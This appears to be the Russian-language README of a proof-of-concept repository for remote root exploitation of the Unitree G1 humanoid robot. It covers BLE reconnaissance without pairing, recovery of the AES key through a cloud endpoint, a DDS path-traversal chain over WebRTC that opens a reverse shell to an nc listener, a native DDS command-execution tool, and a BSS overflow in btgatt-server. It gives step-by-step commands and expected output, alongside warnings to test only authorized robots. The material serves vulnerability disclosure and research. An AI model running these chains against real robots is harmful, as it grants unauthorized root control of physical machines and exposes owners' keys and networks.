
Unitree G1 RCE PoC и скрипты (CVE-2026-76639 / CVE-2026-76640) — технические детали на boschko.ca/g1-ble-rce/
Технические подробности PoC и скриптов RCE для Unitree G1 (CVE-2026-76639 / CVE-2026-76640) на boschko.ca/g1-ble-rce/
Используйте этот репозиторий только с роботами, учётными записями и сетями, которые вам разрешено тестировать. Активные цепочки могут изменять конфигурацию WiFi робота, останавливать или перезапускать службы, вызывать сбой btgatt-server и выполнять команды от имени root.
| Путь | Содержимое |
|---|---|
ble-scanning | Обнаружение BLE, перечисление GATT без сопряжения, обнаружение серийного номера и захват зашифрованного bootstrap-блока |
cloud-oracle | Воспроизведение исторического потока восстановления ключа через /device/bindExtData |
chatgo-bashrunner-rce | Цепочка обхода пути DDS через WebRTC и выполнения команд bashrunner |
pure-dds-rce | Та же цепочка службы DDS, реализованная напрямую с помощью нативного Cyclone DDS |
ble-full-chain-rce | Активная цепочка от BLE до root: bootstrap, восстановление облачного ключа, провижининг WiFi, раскрытие PIE и переполнение BSS |
scanning-tools | Низкоуровневые утилиты для BLE, DDS, WebRTC и перечисления служб, использовавшиеся в ходе исследования |
ble-bss-overflow.html | Интерактивное пошаговое описание переполнения BSS в btgatt-server размером 1 050 байт |
Такие значения, как 0xF1 и 0xF2, — это опкоды протокола передачи данных BLE. Это не номера находок.
Имена приведены в соответствии с поставляемыми компонентами: btgatt-server — уязвимый процесс BLE, а chat_go и bashrunner — имена служб/модулей Unitree. Нативный исполняемый файл proof-of-concept в этом репозитории называется loco_rce.
Рекомендуется Python 3.11 или новее.
Примеры команд ниже выполняются из корня репозитория. Примеры с запрашиваемыми переменными оболочки используют синтаксис Bash.
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
Доступ по BLE зависит от хост-платформы. В macOS адреса, выводимые Bleak, представляют собой UUID CoreBluetooth, а не MAC-адреса из эфира.
Эти вспомогательные средства требуют физической близости BLE, но не требуют учётной записи Unitree, ключа AES или предварительного сопряжения.
Перечислите предоставляемые G1 сервисы GATT и разрешения характеристик:
python3 ble-scanning/01_ble_gatt_enum.py
Восстановите серийный номер робота:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py сначала проверяет данные производителя BLE. Если в рекламном пакете нет серийного номера, он подключается и пытается выполнить открытый запрос 0xF1. Добавьте --passive-only, чтобы отключить этот резервный вариант с подключением.
Захватите RSA-зашифрованный bootstrap-блок 0xF2 и сохраните его для шага восстановления через облако:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
Типичный вывод здесь намеренно сокращён:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
Blob — это шифротекст, а не открытый ключ AES.
cloud-oracle/03_cloud_oracle.py воспроизводит исторический процесс восстановления ключа в приложении:
GET /system/pubKey.POST /device/bindExtData.Текущие серверы могут требовать подтверждения владения роботом. Используйте учётную запись, авторизованную для целевого робота.
Запустите вспомогательный скрипт и ответьте на его запросы:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
Он запрашивает учётную запись, серийный номер робота и путь к bootstrap-blob. Используйте ble-scanning/bootstrap-blob.txt для файла, созданного выше. --redact скрывает токен доступа и восстановленный ключ AES в выводимом воспроизведении curl, что делает вывод более безопасным для публикации.
Для приватного запуска, который выводит восстановленный ключ, опустите --redact:
python3 cloud-oracle/03_cloud_oracle.py
Не вставляйте токены доступа, учётные данные аккаунтов, ключи роботов, серийные номера или захваченные блобы в issues или опубликованные расшифровки терминала.
chat_go → bashrunnerЭтот PoC получает доступ к DDS-сервисам робота через его канал передачи данных WebRTC. Для этого требуются AES-128 ключ целевого робота и хост, подключённый к внутренней Ethernet-сети робота.
Настройте интерфейс хоста в соответствии с тестовой сетью. По умолчанию PoC использует робота 192.168.123.161 и адрес обратного вызова 192.168.123.55.
В первом терминале запустите прослушиватель:
nc -lv 4444
Во втором терминале укажите 32-символьный шестнадцатеричный ключ AES, не фиксируя его в репозитории, затем запустите цепочку:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
Ожидаемый результат:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
Финальный DDS-запрос может завершиться по тайм-ауту, поскольку перезапуск или выполнение целевой службы нарушает путь ответа. Подтверждайте успех по слушателю, а не считайте один лишь этот тайм-аут признаком сбоя.
Очистите переменную оболочки по завершении:
unset UNITREE_AES_KEY
Нативный клиент подключается напрямую к домену DDS 0. Он не использует WebRTC или AES-ключ робота.
Входящий в комплект исполняемый файл pure-dds-rce/prebuilt_aarch64/loco_rce и среда выполнения Cyclone DDS предназначены для Linux AArch64. Исполняемый файл компонуется с libddsc.so.11; репозиторий содержит эту символическую ссылку и её цель libddsc.so.11.0.1.
На хосте Linux AArch64, подключённом к внутренней Ethernet-сети робота:
Скрипт запуска очищает существующие адреса с UNITREE_IFACE перед назначением UNITREE_LOCAL_CIDR. Используйте выделенный лабораторный интерфейс и дважды проверьте имя интерфейса перед запуском.
./pure-dds-rce/run_exploit_c.sh
Выполните другую команду, передав один аргумент в кавычках:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
По умолчанию лаунчер использует интерфейс eth0, локальный адрес 192.168.123.55/24 и адрес робота 192.168.123.161. При необходимости переопределите их:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh